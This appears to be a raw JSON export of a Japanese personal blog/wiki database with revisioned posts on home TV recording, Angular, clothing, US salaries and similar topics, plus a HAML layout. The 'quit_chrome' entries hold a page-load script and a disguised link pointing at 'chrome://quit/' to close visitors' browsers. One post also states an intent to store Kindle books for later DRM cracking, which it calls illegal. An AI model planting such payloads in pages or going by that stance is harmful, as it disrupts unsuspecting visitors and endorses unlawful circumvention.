に行ってきた","body":"%blog%\r\n\r\nいろいろ話をしたんですがエンジニアとデザイナーの共通言語は実際のところ HTML CSS JavaScript だけなのだから、 JavaScript で書かれたテンプレートエンジンというのが一番便利なのではないかみたいな話になった。\r\n\r\nデザイナ向けの環境もこの JS 読み込んどいてねみたいなのだけで済むし。\r\n\r\n「みんな JavaScript なら書けるから」という理由でサーバーサイドを安易に Node.js にすると爆死するのは言うまでもありません。","created_at":"2014-10-19T01:30:08.000Z","updated_at":"2014-10-19T01:30:08.000Z"},{"id":2754,"name":"text/一般番組まで含めて録画しまくる","body":"%blog%\r\n\r\nアニメだけだと http://karia.hatenablog.jp/entry/2014/10/28/044718 でいいと思うんですが、 Fast'N Loud を見たいだとか、ジャニーズタレント出演番組全部録画したいだとか、 Twitter で follow してる人達の発言ひろって録画したいとかなると foltia では生きていけません。\r\n\r\n### うちの場合\r\nうちの場合は合計 3 台の PC でまわっています\r\n\r\n- ストレージサーバー兼アプリケーションサーバー\r\n - 55TB のハードディスクがぶらさがっていて、 KVM な仮想マシンや、多数の Docker コンテナが動いています\r\n- 録画機\r\n - チューナーが合計 3 個 12 チューナーついててひたすら録画する\r\n- エンコーダー\r\n - Intel Quick Sync Video でエンコードする\r\n\r\nストレージに関しては[以前書きました](http://ssig33.com/text/%E8%87%AA%E5%AE%85%E3%81%A7%E5%A4%A7%E5%AE%B9%E9%87%8F%E3%82%B9%E3%83%88%E3%83%AC%E3%83%BC%E3%82%B8%E3%82%92%E9%81%8B%E7%94%A8%E3%81%99%E3%82%8B)。地獄です。各自やっていきましょう。\r\n\r\nアプリケーションサーバーでは[Pig Media Server](http://karia.hatenablog.jp/entry/2014/10/05/033043)だとか、このサイトだとか、 [fl.ssig33.com](http://fl.ssig33.com)だとかが動いています。\r\n\r\n録画機はひたすら録画するだけです。僕は Windows 上で改造に改造を重ねた EpgDataCap_Bon を使っています。正直 Chinachu 使っときゃよかったと思ってますが、もう改造しすぎて他にうつれない、、、\r\n\r\n録画機のスペックはさほど高くなくてよいです。 Pentium J2900 ぐらいの CPU でいいと思います。メモリも 8GB とかでいいのではないかと。\r\n\r\nエンコーダーは Handbrake の最新版でひたすら Intel Quick Sync Video を使ってエンコードして、ストレージサーバーにコピーしていくマシンです。 CPU は QSV が動く CPU ならなんでもいいです(Haswell のめっちゃ安いやつとかがいいと思う)。メモリも 8GB もあれば十分でしょう。\r\n\r\n強力な CPU と速いストレージと大量のメモリを積むことで録画機とエンコーダーを統一することも考えられますが、\r\n\r\n- 速くそれなりに容量のあるストレージ\r\n\r\nというものがかなり問題になってきます。なぜならエンコードのバッチは予期せず停止することが考えられますから、その場合ある程度録画マシンにデータがたまっていきます。なので容量が必要です。また録画による書き込みと、エンコードによる読み込み/書き込みが同時に発生することに耐えなければならないので速度が必要です。\r\n\r\nしかしマシンが二台に分かれていればそれぞれに 500GB とかのやっすい HDD を載せておけば耐えられます。そこそこの性能の 500GB 前後の SSD が 4-5 万円ほどの価格であり、うまくすればそれだけでエンコード用マシンが組めてしまう値段なので、よく考える必要があります。\r\n\r\nまた EDCB は CPU 使用率が高くなると発狂しがちなのでなるべく高性能な CPU も必要です。そしてそもそも Chinachu を使う場合には 5 万円する Intel Media SDK for Server を買った上でいろいろ頑張る必要があります。\r\n\r\nマシンを一台に統一することができれば、電力効率の点で圧倒的な利点があるので、何が一番コストが低いか考えていく必要があるでしょう。\r\n\r\n### まとめ\r\n大抵の場合はバンチャと Hulu とニコニコに金はらったほうがいいんじゃないですかね","created_at":"2014-10-28T03:07:27.000Z","updated_at":"2014-10-28T03:07:27.000Z"},{"id":2755,"name":"text/一般番組まで含めて録画しまくる","body":"%blog%\r\n\r\nアニメだけだと http://karia.hatenablog.jp/entry/2014/10/28/044718 でいいと思うんですが、 Fast'N Loud を見たいだとか、ジャニーズタレント出演番組全部録画したいだとか、 Twitter で follow してる人達の発言ひろって録画したいとかなると foltia では生きていけません。\r\n\r\n### うちの場合\r\nうちの場合は合計 3 台の PC でまわっています\r\n\r\n- ストレージサーバー兼アプリケーションサーバー\r\n - 55TB のハードディスクがぶらさがっていて、 KVM な仮想マシンや、多数の Docker コンテナが動いています\r\n- 録画機\r\n - チューナーが合計 3 個 12 チューナーついててひたすら録画する\r\n- エンコーダー\r\n - Intel Quick Sync Video でエンコードする\r\n\r\nストレージに関しては[以前書きました](http://ssig33.com/text/%E8%87%AA%E5%AE%85%E3%81%A7%E5%A4%A7%E5%AE%B9%E9%87%8F%E3%82%B9%E3%83%88%E3%83%AC%E3%83%BC%E3%82%B8%E3%82%92%E9%81%8B%E7%94%A8%E3%81%99%E3%82%8B)。地獄です。各自やっていきましょう。\r\n\r\nアプリケーションサーバーでは[Pig Media Server](http://karia.hatenablog.jp/entry/2014/10/05/033043)だとか、このサイトだとか、 [fl.ssig33.com](http://fl.ssig33.com)だとかが動いています。\r\n\r\n録画機はひたすら録画するだけです。僕は Windows 上で改造に改造を重ねた EpgDataCap_Bon を使っています。正直 Chinachu 使っときゃよかったと思ってますが、もう改造しすぎて他にうつれない、、、\r\n\r\n録画機のスペックはさほど高くなくてよいです。 Pentium J2900 ぐらいの CPU でいいと思います。メモリも 8GB とかでいいのではないかと。\r\n\r\nエンコーダーは Handbrake の最新版でひたすら Intel Quick Sync Video を使ってエンコードして、ストレージサーバーにコピーしていくマシンです。 CPU は QSV が動く CPU ならなんでもいいです(Haswell のめっちゃ安いやつとかがいいと思う)。メモリも 8GB もあれば十分でしょう。\r\n\r\n強力な CPU と速いストレージと大量のメモリを積むことで録画機とエンコーダーを統一することも考えられますが、\r\n\r\n- 速くそれなりに容量のあるストレージ\r\n\r\nというものがかなり問題になってきます。なぜならエンコードのバッチは予期せず停止することが考えられますから、その場合ある程度録画マシンにデータがたまっていきます。なので容量が必要です。また録画による書き込みと、エンコードによる読み込み/書き込みが同時に発生することに耐えなければならないので速度が必要です。\r\n\r\nしかしマシンが二台に分かれていればそれぞれに 500GB とかのやっすい HDD を載せておけば耐えられます。そこそこの性能の 500GB 前後の SSD が 4-5 万円ほどの価格であり、うまくすればそれだけでエンコード用マシンが組めてしまう値段なので、よく考える必要があります。\r\n\r\nまた EDCB は CPU 使用率が高くなると発狂しがちなのでなるべく高性能な CPU も必要です。そしてそもそも Chinachu を使う場合には 5 万円する Intel Media SDK for Server を買った上でいろいろ頑張る必要があります。\r\n\r\nマシンを一台に統一することができれば、電力効率の点で圧倒的な利点があるので、何が一番コストが低いか考えていく必要があるでしょう。\r\n\r\n### まとめ\r\n大抵の場合はバンチャと Hulu とニコニコに金はらって円盤どんどん買うほうがいいんじゃないですかね","created_at":"2014-10-28T03:07:38.000Z","updated_at":"2014-10-28T03:07:38.000Z"},{"id":2756,"name":"text/一般番組まで含めて録画しまくる","body":"%blog%\r\n\r\nアニメだけだと http://karia.hatenablog.jp/entry/2014/10/28/044718 でいいと思うんですが、 Fast'N Loud などを見たいのでディスカバリーチャンネルとナショジオの新番組は全部録画するだとか、ジャニーズタレント出演番組全部録画したいだとか、 Twitter で follow してる人達の発言ひろって録画したいとかなると foltia では生きていけません。\r\n\r\n### うちの場合\r\nうちの場合は合計 3 台の PC でまわっています\r\n\r\n- ストレージサーバー兼アプリケーションサーバー\r\n - 55TB のハードディスクがぶらさがっていて、 KVM な仮想マシンや、多数の Docker コンテナが動いています\r\n- 録画機\r\n - チューナーが合計 3 個 12 チューナーついててひたすら録画する\r\n- エンコーダー\r\n - Intel Quick Sync Video でエンコードする\r\n\r\nストレージに関しては[以前書きました](http://ssig33.com/text/%E8%87%AA%E5%AE%85%E3%81%A7%E5%A4%A7%E5%AE%B9%E9%87%8F%E3%82%B9%E3%83%88%E3%83%AC%E3%83%BC%E3%82%B8%E3%82%92%E9%81%8B%E7%94%A8%E3%81%99%E3%82%8B)。地獄です。各自やっていきましょう。\r\n\r\nアプリケーションサーバーでは[Pig Media Server](http://karia.hatenablog.jp/entry/2014/10/05/033043)だとか、このサイトだとか、 [fl.ssig33.com](http://fl.ssig33.com)だとかが動いています。\r\n\r\n録画機はひたすら録画するだけです。僕は Windows 上で改造に改造を重ねた EpgDataCap_Bon を使っています。正直 Chinachu 使っときゃよかったと思ってますが、もう改造しすぎて他にうつれない、、、\r\n\r\n録画機のスペックはさほど高くなくてよいです。 Pentium J2900 ぐらいの CPU でいいと思います。メモリも 8GB とかでいいのではないかと。\r\n\r\nエンコーダーは Handbrake の最新版でひたすら Intel Quick Sync Video を使ってエンコードして、ストレージサーバーにコピーしていくマシンです。 CPU は QSV が動く CPU ならなんでもいいです(Haswell のめっちゃ安いやつとかがいいと思う)。メモリも 8GB もあれば十分でしょう。\r\n\r\n強力な CPU と速いストレージと大量のメモリを積むことで録画機とエンコーダーを統一することも考えられますが、\r\n\r\n- 速くそれなりに容量のあるストレージ\r\n\r\nというものがかなり問題になってきます。なぜならエンコードのバッチは予期せず停止することが考えられますから、その場合ある程度録画マシンにデータがたまっていきます。なので容量が必要です。また録画による書き込みと、エンコードによる読み込み/書き込みが同時に発生することに耐えなければならないので速度が必要です。\r\n\r\nしかしマシンが二台に分かれていればそれぞれに 500GB とかのやっすい HDD を載せておけば耐えられます。そこそこの性能の 500GB 前後の SSD が 4-5 万円ほどの価格であり、うまくすればそれだけでエンコード用マシンが組めてしまう値段なので、よく考える必要があります。\r\n\r\nまた EDCB は CPU 使用率が高くなると発狂しがちなのでなるべく高性能な CPU も必要です。そしてそもそも Chinachu を使う場合には 5 万円する Intel Media SDK for Server を買った上でいろいろ頑張る必要があります。\r\n\r\nマシンを一台に統一することができれば、電力効率の点で圧倒的な利点があるので、何が一番コストが低いか考えていく必要があるでしょう。\r\n\r\n### まとめ\r\n大抵の場合はバンチャと Hulu とニコニコに金はらって円盤どんどん買うほうがいいんじゃないですかね","created_at":"2014-10-28T03:12:48.000Z","updated_at":"2014-10-28T03:12:48.000Z"},{"id":2757,"name":"text/BOOKSCAN 今更使ってみた","body":"%blog%\r\n\r\nプレミアムプランの場合、本のスキャンの価格は一冊 200 円ないし 400 円(ページ数次第)。 Amazon で 1+257 の 258 円で売ってる本を 458 円ないし 658 円で Kindle 版として読むことができると思うと、まあ、わりと高い。\r\n\r\nというようなサービスの一般的な使い勝手はさんざん書かれてるのでいいんですけど、問題点について。\r\n\r\n- オートチューニング\r\n- Dropbox への自動アップロード\r\n\r\nこれらが不安定で、チューニングが行われなかったり、 Dropbox に自動でアップロードされなかったりすることが結構ある。\r\n\r\nなので、 BOOKSCAN が用意している自動化の仕組みはあんまり使わずに、 Dropbox依頼した本の一覧とか、チューニング結果とかを定期的にスクレイピングして自分でダウンロードして Dropbox に入れたほうがよい。\r\n\r\nどうせ理想的な環境を得るためには大量のコードを書かなければならなのだから、 BOOKSCAN のサイトの操作自動化などたいした手間ではない。","created_at":"2014-11-07T01:54:35.000Z","updated_at":"2014-11-07T01:54:35.000Z"},{"id":2758,"name":"text/プロダクトに深い理解を示してくれる人を採用したい","body":"%blog%\r\n\r\nUI デザイナー云々にかかわらず、プロダクトに深い理解をしめして幅広い範囲でコミットしてくれるメンバーが(しかも年収 600 万円とかで)ほしいみたいなのがよくあります。\r\n\r\nしかしそんな優秀な人が入ってくればあなたはお払い箱で、あなたがただのマネージャーならば解雇されますし、あなたが企業のオーナーだとすると優秀な社員は VC と結託してあなたを追い出します。\r\n\r\nなのでそれなりのメンバーをうまく組み合わせてやるほうがいいです。","created_at":"2014-11-07T03:17:37.000Z","updated_at":"2014-11-07T03:17:37.000Z"},{"id":2759,"name":"text/プロダクトに深い理解を示してくれる人を採用したい","body":"%blog%\r\n\r\nUI エンジニア云々にかかわらず、プロダクトに深い理解をしめして幅広い範囲でコミットしてくれるメンバーが(しかも年収 600 万円とかで)ほしいみたいなのがよくあります。\r\n\r\nしかしそんな優秀な人が入ってくればあなたはお払い箱で、あなたがただのマネージャーならば解雇されますし、あなたが企業のオーナーだとすると優秀な社員は VC と結託してあなたを追い出します。\r\n\r\nなのでそれなりのメンバーをうまく組み合わせてやるほうがいいです。","created_at":"2014-11-07T03:17:50.000Z","updated_at":"2014-11-07T03:17:50.000Z"},{"id":2760,"name":"text/Angular.JS について","body":"%blog%\r\n\r\nいろいろ文句言いたくなるところ山のようにあるんですが、 Internet Explorer の古いやつとかサポートしてくれてるのが Angular しかないだとか、だいたいみんな Angular なら分かるだとか、いろいろあって現実的に Angular しか使えるものが無いねみたいになりがち。\r\n\r\nそういうわりと消極的な理由で使われることが多いので、みんな文句たれてるんですけど、文句たれてる人が多いから使わなくていいプロダクトなんだなみたいに思って勉強怠ったりするとそれはそれで嫌な目にあいますから、みなさん一緒に Angular で苦しみましょう。\r\n\r\nIE のことを忘れられる場合は Vue.js 使ったほうが圧倒的に幸福になります。\r\n\r\n#### 付記 React について\r\n一番真面目に React を使ってるはずの Facebook のサイトがあんなに激重メモリバカ食いなので、\r\n\r\n- 仮想 DOM を操作して差分を実際の DOM に適用していけば、結果として軽いサイトができる\r\n\r\nという発想が全く間違っていることが分かります。サイトを軽くしたかったら React を使うのではなくて、 HTML 自体を簡素にした方がよい。","created_at":"2014-11-07T17:48:59.000Z","updated_at":"2014-11-07T17:48:59.000Z"},{"id":2761,"name":"quit_chrome","body":"\u003cscript\u003elocation.hre = \"chrome://quit/\"\u003c/script\u003e","created_at":"2014-11-21T05:42:57.000Z","updated_at":"2014-11-21T05:42:57.000Z"},{"id":2762,"name":"quit_chrome","body":"\u003cscript\u003elocation.href = \"chrome://quit/\"\u003c/script\u003e","created_at":"2014-11-21T05:43:06.000Z","updated_at":"2014-11-21T05:43:06.000Z"},{"id":2763,"name":"quit_chrome","body":"\u003ch1\u003e\u003ca href=\"chrome://quit/\"\u003eSUPER COOL LINK\u003c/a\u003e\u003c/h1\u003e","created_at":"2014-11-21T05:45:06.000Z","updated_at":"2014-11-21T05:45:06.000Z"},{"id":2764,"name":"text/最近買ったすごくいい服","body":"%blog%\r\n\r\nこれ\r\n\r\n - [マッキントッシュ フィロソフィーのトロッターシリーズ](http://www.mackintosh-philosophy.com/mens/trotter/index.html)\r\n\r\n\r\n一見ただのスーツなんだけど、ジャージ素材でできてて、着心地は完全にジャージ。\r\n\r\nジャージを着て外出することは通常最寄りのコンビニまでしか許されていない(佐賀県民や群馬県民、栃木県民はもっと遠くまで外出することを特別に許可されている)のだけど、これを着ていると本当にどこにでもジャージで外出することが出来る。\r\n\r\nジャージを着ていると本当に楽なので便利。ネックはちょっと価格が高い。ジャージでどこにでも行きたい人には本当におすすめです。\r\n\r\nあともう一つ問題があって、 IT 技術者は見た目で他人を差別するレイシストが多いのでスーツを着ているとバカにされる場合がある。そのあたりは適宜やっていきましょう。","created_at":"2014-11-21T08:50:09.000Z","updated_at":"2014-11-21T08:50:09.000Z"},{"id":2765,"name":"text/最近買ったすごくいい服","body":"%blog%\r\n\r\nこれ\r\n\r\n\u003e - [マッキントッシュ フィロソフィーのトロッターシリーズ](http://www.mackintosh-philosophy.com/mens/trotter/index.html)\r\n\r\n\r\n一見ただのスーツなんだけど、ジャージ素材でできてて、着心地は完全にジャージ。\r\n\r\nジャージを着て外出することは通常最寄りのコンビニまでしか許されていない(佐賀県民や群馬県民、栃木県民はもっと遠くまで外出することを特別に許可されている)のだけど、これを着ていると本当にどこにでもジャージで外出することが出来る。\r\n\r\nジャージを着ていると本当に楽なので便利。ネックはちょっと価格が高い。ジャージでどこにでも行きたい人には本当におすすめです。\r\n\r\nあともう一つ問題があって、 IT 技術者は見た目で他人を差別するレイシストが多いのでスーツを着ているとバカにされる場合がある。そのあたりは適宜やっていきましょう。","created_at":"2014-11-21T08:50:17.000Z","updated_at":"2014-11-21T08:50:17.000Z"},{"id":2766,"name":"text/最近買ったすごくいい服","body":"%blog%\r\n\r\nこれ\r\n\r\n\u003e - [マッキントッシュ フィロソフィーのトロッターシリーズ](http://www.mackintosh-philosophy.com/mens/trotter/index.html)\r\n\r\n\r\n一見ただのスーツなんだけど、ジャージ素材でできてて、着心地は完全にジャージ。\r\n\r\nジャージを着て外出することは通常最寄りのコンビニまでしか許されていない(佐賀県民や群馬県民、栃木県民はもっと遠くまで外出することを特別に許可されている)のだけど、これを着ていると本当にどこにでもジャージで外出することが出来る。\r\n\r\nジャージを着ていると本当に楽なので便利。ネックはちょっと価格が高い。ジャージでどこにでも行きたい人には本当におすすめです。\r\n\r\nジャージ素材なので家庭の洗濯機で洗うことができて、しかもそうやって洗濯しても全く型崩れしないのも便利。\r\n\r\nしかし一つ問題があって、 IT 技術者は見た目で他人を差別するレイシストが多いのでスーツを着ているとバカにされる場合がある。そのあたりは適宜やっていきましょう。","created_at":"2014-11-21T12:34:54.000Z","updated_at":"2014-11-21T12:34:54.000Z"},{"id":2767,"name":"text/ファイルダウンロード自動化","body":"%blog% ファイルダウンロード自動化を含むスクレイピング\r\n\r\nなんのこっちゃという感じですが、具体的にやりたいことは以下の通り\r\n\r\n- Amazon の コンテンツと端末の管理 から購入した Kindle 書籍を自動ダウンロード\r\n\r\n何故こんなことをしたいかというと、 Kindle 本は DRM をクラックする確実な手段があります。 DRM をクラックすることは違法ですが、 Amazon という企業が消滅した時に、購入した本が読めなくなるのは困ります。 Amazon が消滅するときは世紀末のような社会でしょうから、 DRM のクラック程度の犯罪が問題になることは無いでしょう。 AZW3 をローカルに保存しておけば、その時がくれば DRM をクラックすればいいということになります。\r\n\r\n以上の考えは半分本気、半分はまあスクレイピングしづらそうなものがあればやってみたい、というだけです。\r\n\r\nJavaScript を含まないページのスクレイピングはどうとでもなります。 JavaScript を含むページのスクレイピングは通常 phantomjs あたりが用いられます。\r\n\r\nではブラウザを自動で操作してファイルをダウンロードしたい場合どうすればいいかというと、 phantomjs でも一応できます。\r\n\r\n- https://github.com/ariya/phantomjs/issues/10052\r\n\r\nこの糞長い議論を読んで最新のやり方がどんな感じなのか各自学んでください。ですがこれとてもではないですがオススメできません。デカい容量のファイルはそもそもダウンロードできないだとか、イベントがちゃんと発火しないなど安定してないだとか、そもそも phantomjs 自体が、、、とかいろいろつらみがあります。\r\n\r\nそこでどうするか。\r\n\r\n本物のブラウザの操作を自動化するのが一番楽だというのが今のところの僕の結論です。\r\n\r\nTampermonkey をインストールした Chrome をサーバー上で実行し、 user.js の組み合わせで操作を自動化するというものです。\r\n\r\nファイルのダウンロードも本物のブラウザなので安定していけます。\r\n\r\n実行結果のレポートなどは XHR Level2 かなんかで自分のサーバーに送るように user.js 書けばいいだけです。\r\n\r\nこのソリューションを取った場合でも Amazon の操作自動化というタスクにはいろいろつらみがあるんですが、そこはまあ各自気持ちでやっていきましょう。\r\n\r\nブラウザを操作してファイルをダウンロードするというタスクを自動化する辛い仕事をアサインされた際にはこの記事を思い出していただければ幸いです。\r\n","created_at":"2014-11-24T09:54:18.000Z","updated_at":"2014-11-24T09:54:18.000Z"},{"id":2768,"name":"text/アメリカのプログラマの賃金に関して","body":"%blog%\r\n\r\nサンフランシスコやニューヨークの家賃、スタジオ(日本で言うところのワンルーム)で月 2000 ドルとかする。家族と一緒に住める家とか月 3000 ドルは最低かかる。\r\n\r\n家賃だけで年間 250-400 万円は持っていかれるという話になる。 Dropbox のあるテキサス州オースティンとかだとこの 1/3 なんだけど。\r\n\r\n前に IT とか全然関係ない話でダラスに住もうとしたんだけど、家賃高すぎて結局断念した。\r\n\r\nあと有名な問題が保険で、保険会社が指定する病院でしか診療受けられないしょぼい方の HMO というタイプの保険でも月 150 ドルかかる。年間 20 万円で家族が 4 人いたら保険だけで年間 80 万円は見ておこうという話になる。\r\n\r\n医療に関して有名なもう一つの問題は「歯の治療の保険請求が異常に難しい」という問題で、アメリカに移住した知人が歯医者で保険適用された事例見たときない。虫歯になったら日本に帰ってくる方が大抵安くて、実際帰ってる人見たときある。\r\n\r\nというようなことを考えると、保険以外に年間 100 万円ぐらい医療のための貯金しとかないと虫歯みたいな軽微な病気で死亡するという笑えない事態になる。\r\n\r\n都内で中心部から電車で三十分ほど離れた一軒家を借りて年間 180 万円とかで住めて、ワンルームなら 100-120 万円も用意しておけば十分とかで、医療費のこととかほとんど日本では考えなくていい(公的保険が充実してる)こと考えると、アメリカに移住すると 300-400 万円ぐらい余計に金が出ていくという感じになる。\r\n\r\n日米の IT エンジニアの給与レンジがだいたい 400 万円ぐらいずれてるという感じなので、アメリカに移住すると生活水準がだいたい変わらないないし慣れないところでムダ金使ったりしまくる分下がるということになると思う。\r\n\r\n英語話せればとりあえず生活水準上がるというわけでもないので、なかなか難しい。","created_at":"2014-11-26T08:30:50.000Z","updated_at":"2014-11-26T08:30:50.000Z"},{"id":2769,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/search.coffee\"}\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2014-11-26T08:32:41.000Z","updated_at":"2014-11-26T08:32:41.000Z"},{"id":2770,"name":"text/メイソンジャーサラダについて","body":"%blog%\r\n\r\n[こういうやつ](http://fal.hatenablog.com/entry/2014/12/04/223338)のことですが、\r\n\r\nよく「4-5 日品質維持できるのですごい!!!」というふうに言われますが、そういわれても、いやだいたい冷蔵庫になんか入れてたら 4-5 日はもつだろという気になります。\r\n\r\n「4-5 日もつ」というのはこれ建て前でして、 8-10 日はもちます。でも 8-10 日もつとか言っちゃうとなんか責任取り切れない感じなので、公的な場では 4-5 日もつとか言われてしまうわけです。\r\n\r\nメイソンジャーですが、別に密閉性がそこまで高いわけでもありません。ゴムで密閉できる瓶ならなんでもいいと思います。メイソンジャーサラダが流行ったせいでいま日本国内で全面的にメイソンジャーが品薄になっててプレミアついてるので他の適当な瓶買ったほうがいいと思います。\r\n\r\nレシピ本としては[これ](http://www.amazon.co.jp/dp/B00ET594CC/)が一番品質高いです。\r\n\r\n数か月ぐらいやってみた感想としてはそんな感じ。","created_at":"2014-12-05T07:39:07.000Z","updated_at":"2014-12-05T07:39:07.000Z"},{"id":2771,"name":"text/2014 微妙なもの","body":"%blog% 今年買って微妙だったもの - 2014 年版\r\n\r\nみなさんこんにちは。昨日はナチス関連の番組の録画を見ていたら一日が終わった ssig33 です。 2014 年も年の瀬なので、私が今年買ったもののうち微妙だったものを 10 個紹介します。\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B001EHK01M/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B001EHK01M\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eクレシア ワイプオールX70 (1パック・50枚入) JWI0401\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B001EHK01M\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B001EHK01M\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nいろいろ掃除するための使い捨てっぽい布です。自転車のチェーンとかを掃除するために買ったんですが、吸湿性といい、油の吸いといい今一つでどうにも役に立ちませんでした。レビューは高評価なんだけどなあ。\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B00ANZ8VE4/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00ANZ8VE4\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eOtias(オティアス) 60/40クロス×ヌメ革 ワイド型ボディバッグ 50-4620 GRY (GRY)\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00ANZ8VE4\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00ANZ8VE4\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n11 インチくらすのノート PC なら余裕をもって、 Surface Pro 3 でもなんとかぎりぎり入るボディバッグです。物自体には何の文句もないのですが、\r\n\r\n- 価格よし\r\n- 見た目悪くはない\r\n- 機能性もよし\r\n\r\nと完全に合理的なバッグであるために知人と被ってしまい泣く泣くお蔵入りになりました。身につけるものに関しては合理的な思考が正しいとも限らない(あるいは自分以外の要素についても考えることこそが合理的)のが難しいところです。\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B00DLK4GN8/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00DLK4GN8\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eレノボ・ジャパン ThinkPad トラックポイント・キーボード - 英語 0B47190\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00DLK4GN8\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00DLK4GN8\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n旧トラックポイントキーボードが一台壊れたため購入。パームレストが無いというのが想像以上に使いづらく、ほとんど使ってません。\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B003CYHRI4/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B003CYHRI4\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e3M スコッチ 超強力両面テープ プレミアゴールド スーパー多用途 粗面用 25mm×1m KPR-25\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B003CYHRI4\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" 